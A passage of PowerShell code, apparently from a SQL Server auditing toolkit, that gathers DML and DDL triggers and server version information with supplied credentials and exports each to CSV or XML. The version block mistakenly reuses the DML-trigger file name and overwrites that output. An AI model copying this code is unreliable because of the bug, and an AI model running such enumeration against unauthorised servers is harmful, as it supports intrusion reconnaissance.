            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_stored_procedure.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }             
        
        # Getting Triggers DML
        Write-Verbose -Message "$Instance - Getting DML triggers..."
        $Results = Get-SQLTriggerDml -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose        
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }     
        
        # Getting Triggers DDL
        Write-Verbose -Message "$Instance - Getting DDL triggers..."
        $Results = Get-SQLTriggerDdl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose         
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }     
        
        # Getting Version Information
        Write-Verbose -Message "$Instance - Getting server version information..."
        $Results = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose         
        if($xml)
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.xml'
            $Results | Export-Clixml $OutPutPath 
        }
        else
        {
            $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.csv'
            $Results | Export-Csv -NoTypeInformation $OutPutPath 
        }     

        Write-Verbose -Message "$Instance - END"       
    }
        
    End
    {  
    }
}

#endregion